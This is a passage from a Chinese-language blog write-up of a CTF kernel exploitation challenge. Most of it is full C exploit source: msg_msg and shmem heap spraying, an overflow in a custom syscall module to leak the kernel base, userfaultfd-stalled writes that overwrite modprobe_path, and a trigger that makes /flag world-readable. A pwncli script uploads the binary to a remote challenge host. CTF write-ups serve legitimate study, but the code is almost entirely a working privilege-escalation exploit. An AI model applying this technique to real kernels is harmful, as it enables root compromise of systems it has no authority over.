    struct UserfaultHandlerArg *args = malloc(sizeof(struct UserfaultHandlerArg));
    args->uffd = uffd;
    args->func = func;
    args->func_args = func_args;
    int s = pthread_create(&thr, NULL, handler, (void *)args);
    if (s != 0)
        error("pthread_create");
}

void *userfaultfd_stuck_handler(void *arg)
{
    struct UserfaultHandlerArg *args = (struct ActualArgs *)arg;

    struct uffd_msg msg;
    size_t uffd = args->uffd;
    int nready;
    struct pollfd pollfd;
    pollfd.fd = uffd;
    pollfd.events = POLLIN;
    nready = poll(&pollfd, 1, -1);
    info("start to process userfault");
    if (nready != 1)
    {
        error("[-] Wrong poll return val");
    }
    nready = read(uffd, &msg, sizeof(msg));
    if (nready <= 0)
    {
        error("[-] msg err");
    }

    char *page = (char *)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (page == MAP_FAILED)
    {
        error("[-] mmap err");
    }
    struct uffdio_copy uc;
    // init page
    memset(page, 0, sizeof(page));
    // wait for handler
    while (!process_userfault_running)
    {
        sleep(1);
        info("wait...process_userfault_running is not ok!");
    }
    // handler
    if (args->func)
    {
        args->func(page, args->func_args);
    }
    else
    { // copy
        memcpy(page, args->func_args, PAGE_SIZE);
    }

    uc.src = (unsigned long)page;
    uc.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1);
    uc.len = PAGE_SIZE;
    uc.mode = 0;
    uc.copy = 0;
    ioctl(uffd, UFFDIO_COPY, &uc);
    info("stuck handler done");
    process_userfault_running = 0;
    return NULL;
}

exp.c

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
#include "helpful.h"

#define SU_message_set_flag 0x2001
#define SU_message_set_string 0x2002
#define SU_message_release 0x2003
#define MSG_COPY 040000

#define KERNEL_BASE_ADDRESS 0xffffffff81000000
#define MESSAGE_LIST_ADDR 0xffffffff832acba0

const char const * hacked_path = "/tmp/you_are_hacked";

size_t modprobe_path_offset = 0xffffffff82c6c360 - 0xffffffff81000000;
int qids[0x1000];
int g_count = 0;

extern size_t *g_buffer;
extern ssize_t process_userfault_running;

struct SU_message_context
{
    char *message_name;
    unsigned int size;
    int type;
    char *message_content;
    unsigned int message_len;
};

int make_queue(key_t key, int msgflg)
{
    int result;
    if ((result = msgget(key, msgflg)) == -1)
    {
        error("msgget error!");
    }
    return result;
}

void send_msg(int msqid, size_t total_size, long type, int msgflg)
{
    struct
    {
        long type;
        char data[total_size - 0x30];
    } msg;
    msg.type = type;
    memset(msg.data, 'A' - 1 + type, sizeof(msg.data));

    if (msgsnd(msqid, &msg, sizeof(msg.data), msgflg) == -1)
    {
        error("msgsend error!");
    }
}

void send_msg2(int msqid, void *msgmsg, size_t msgsz, int msgflg)
{
    if (msgsnd(msqid, msgmsg, msgsz, msgflg) == -1)
    {
        error("msgsend error!");
    }
}

ssize_t get_msg(int msqid, size_t total_size, long msgtyp, int msgflg)
{
    clear_buffer();
    struct
    {
        long type;
        char data[total_size - 0x30];
    } msg;
    msg.type = msgtyp;
    ssize_t result = -1;
    result = msgrcv(msqid, &msg, total_size - 0x30, msgtyp, msgflg);
    if (result < 0)
    {
        warn("msgrcv error!");
        return result;
    }
    memcpy(g_buffer, msg.data, total_size - 0x30);
    return result;
}

void heap_spray_shmem(int count)
{
    int shmid;
    char *shmaddr;
    for (int i = 0; i < count; i++)
    {
        if ((shmid = shmget(IPC_PRIVATE, 100, 0600)) == -1)
        {
            error("shmget error");
        }
        shmaddr = shmat(shmid, NULL, 0);
        if (shmaddr == (void *)-1)
        {
            error("shmat error");
        }
    }
    success("heap spray shmem done!");
}

void heap_spray_msg_msg(size_t total_size, size_t num, int add2array)
{
    for (size_t i = 0; i < num; ++i)
    {
        int qid = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
        send_msg(qid, total_size, 1, 0);
        if (add2array)
        {
            qids[g_count++] = qid;
        }
    }
    success("heap spray msg_msg done!");
}

int SU_message_open()
{
    int fd = syscall(1000, "roderick", 0);
    if (fd < 0)
    {
        error("SU_message_open error!");
    }
    return fd;
}

int SU_message_config(int fd, int cmd, char *key, char *value)
{
    int res = syscall(1001, fd, cmd, key, value);
    if (res < 0)
    {
        error("SU_message_config error!");
    }
    return res;
}

// make message_context->message_len == 0xfff
int fill_message_context()
{
    char key[0x100];
    int fd = SU_message_open();
    memset(key, 'a' + fd, 255);
    for (size_t i = 0; i < 0xf; i++)
    {
        SU_message_config(fd, SU_message_set_flag, key, NULL);
    }
    memset(key, 0, 256);
    memset(key, 'a' + fd, 254);
    SU_message_config(fd, SU_message_set_flag, key, NULL);
    success("fill_message_context, fd: %d, filled char: %c", fd, fd + 'a');
    return fd;
}

size_t _leak_kernel_base()
{
    size_t kernel_base = -1;
    // 1. 堆喷
    heap_spray_msg_msg(PAGE_SIZE + 0x18, 0x40, 1);
    // 2. 分配 message_context
    int fd = fill_message_context();
    // 3. 堆喷 msg_msg和shmeme
    heap_spray_msg_msg(PAGE_SIZE + 0x18, 0x40, 1);
    heap_spray_shmem(0x200);
    // 4. 溢出修改大小
    char overlap[0x20] = {0};
    memset(overlap, 'a', 0x18);
    *((size_t *)(overlap + 0x18)) = 0x1608;
    SU_message_config(fd, SU_message_set_flag, overlap, NULL);
    // 5. 获取消息并检测, 只拷贝不释放
    for (size_t i = 0; i < g_count; i++)
    {
        int res = get_msg(i, 0x1608 + 0x30, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
        if (res < 0)
            continue;

        size_t *tmp = g_buffer + (0x1020 / 8);
        for (size_t j = 0; j < 0x200; j++)
        {
            size_t cur_val = *tmp;
            ++tmp;

            if (cur_val > KERNEL_BASE_ADDRESS)
            {
                // info("leak a kernel addr: 0x%lx", cur_val);
                size_t offset = -1;
                if (((cur_val - 0x1e24f40) & 0xfffff) == 0)
                {
                    offset = 0x1e24f40;
                }
                else if (((cur_val - 0x103b8c0) & 0xfffff) == 0)
                {
                    offset = 0x103b8c0;
                }
                else if (((cur_val - 0x1e403a0) & 0xfffff) == 0)
                {
                    offset = 0x1e403a0;
                }
                else if (((cur_val - 0x1e40180) & 0xfffff) == 0)
                {
                    offset = 0x1e40180;
                }
                else if (((cur_val - 0x241620) & 0xfffff) == 0)
                {
                    offset = 0x241620;
                }
                else if (((cur_val - 0x1dc06a0) & 0xfffff) == 0)
                {
                    offset = 0x1dc06a0;
                }
                else if (((cur_val - 0x23bfde0) & 0xfffff) == 0)
                {
                    offset = 0x23bfde0;
                }
                else if (((cur_val - 0x1f62940) & 0xfffff) == 0)
                {
                    offset = 0x1f62940;
                }
                else if (((cur_val - 0x1e42020) & 0xfffff) == 0)
                {
                    offset = 0x1e42020;
                }
                else if (((cur_val - 0x1036fa0) & 0xfffff) == 0)
                {
                    offset = 0x1036fa0;
                }
                if (offset != -1)
                {
                    kernel_base = cur_val - offset;
                }
                if (kernel_base != -1)
                {
                    success("leak kernel base addr: 0x%lx", kernel_base);
                    return kernel_base;
                }
            }
        }
    }
    fail("failed to get kernel base!");
    return kernel_base;
}

size_t leak_kernel_base()
{
    size_t kernel_base = -1;
    do
    {
        kernel_base = _leak_kernel_base();
    } while (kernel_base == -1);
    return kernel_base;
}


void write_modprobe(size_t kernel_base)
{
// write mod
    pthread_t threads[0x100];
    void *copy_src_page = mmap(0, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    void *used_page = mmap(0xdead0000, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    void *stuck_page = mmap(0xdead1000, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    register_userfault(stuck_page, &userfaultfd_stuck_handler, NULL, copy_src_page);

    *((char *)used_page + 0xff8) = 1; // type
    memset(copy_src_page, '0', 0xfd0);
    strcpy((char *)copy_src_page + 0xfd0, hacked_path);

    typedef struct
    {
        void *msgbuf;
        size_t msgsz;
    } CurArgs;

    void spray(void *args)
    {
        CurArgs *curargs = (CurArgs *)args;
        int qid = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
        send_msg2(qid, curargs->msgbuf, curargs->msgsz, 0);
    }
    
    // 堆喷
    heap_spray_msg_msg(PAGE_SIZE, 0x40, 0);

    int fd = fill_message_context();
    size_t* overlapped[5] = {0};
    memset(overlapped, 'a', 0x20);
    overlapped[4] = kernel_base + modprobe_path_offset - 8;
    info("modprobe_path address: 0x%lx", kernel_base + modprobe_path_offset);

    CurArgs *used_args = (CurArgs *)calloc(sizeof(CurArgs), 1);
    used_args->msgbuf = (size_t)used_page+0xff8;
    used_args->msgsz = 0xfd0+0x18;
    for (size_t i = 0; i < 0x100; i++)
    {
        pthread_create(&threads[i], NULL, spray, (void *)used_args);
    }
    sleep(2);
    SU_message_config(fd, SU_message_set_flag, overlapped, NULL);
    process_userfault_running = 1;

    for (size_t i = 0; i < 0x100; i++)
    {
        pthread_join(threads[i], NULL);
    }
}


void read_flag()
{
	system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");
    char buf[0x100] = {0};
    sprintf(buf, "echo '#!/bin/sh\nchmod 777 /flag\n' > %s", hacked_path);
	system(buf);
	system("chmod +x /tmp/you_are_hacked");
	system("chmod +x /tmp/dummy");
	system("/tmp/dummy");
    system("cat /flag");
}


void main()
{
    size_t kernel_base = leak_kernel_base();
    write_modprobe(kernel_base);
    read_flag();
}

本地的效果如下:

image-20220410002106584

最后打远程使用的exp.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwncli import *

context.update(log_level='error', os='linux', arch='amd64', endian='little', newline='\r\n')

os.system("gcc exp.c -o exp -lpthread -w -O0")
os.system("strip ./exp")
os.system("tar -czvf exp.tar.gz ./exp")
data = b64e(read("./exp.tar.gz"))

# io = remote("127.0.0.1", 13337)
io = remote("node4.buuoj.cn", "25063")

io.sendlineafter('$ ', "touch /tmp/exp_b64", timeout=30)

length = 0x200
count, remain = divmod(len(data), length)

log_ex(f"count: {count} remain: {remain}")
sleep(1)
for i in range(count):
    log_ex(f"current round: {i}/{count}")
    sd = data[i * length: i * length + length]
    io.sendlineafter('$ ', f"echo {sd} >> /tmp/exp_b64", timeout=5)

if remain:
    io.sendlineafter('$ ', f"echo {data[-remain:]} >> /tmp/exp_b64", timeout=5)

sleep(3)
io.recv(timeout=60)

sleep(1)
io.sendline("base64 -d /tmp/exp_b64 > /tmp/exp.tar.gz")
sleep(1)
io.sendline("tar -xvf /tmp/exp.tar.gz -C /tmp")
sleep(1)
io.sendline("chmod +x /tmp/exp")
sleep(1)
io.sendline("cd /tmp")


io.interactive()

基本试个几次就出来了

远程打:

image-20220408214413499

tips

补充一个小技巧,有时候使用普通用户调试内核题,发现目录的权限不对,比如下面这样:

image-20220410112148482

那么只需要使用fakeroot命令,切换到一个fake root账户(原理其实和docker差不多,有namespace的隔离),再启动就正常了:

image-20220410112353255

引用与参考

1、My Blog

2、Ctf Wiki

3、pwncli

Buy me a coffee~
roderick 支付宝支付宝
roderick 微信微信
0%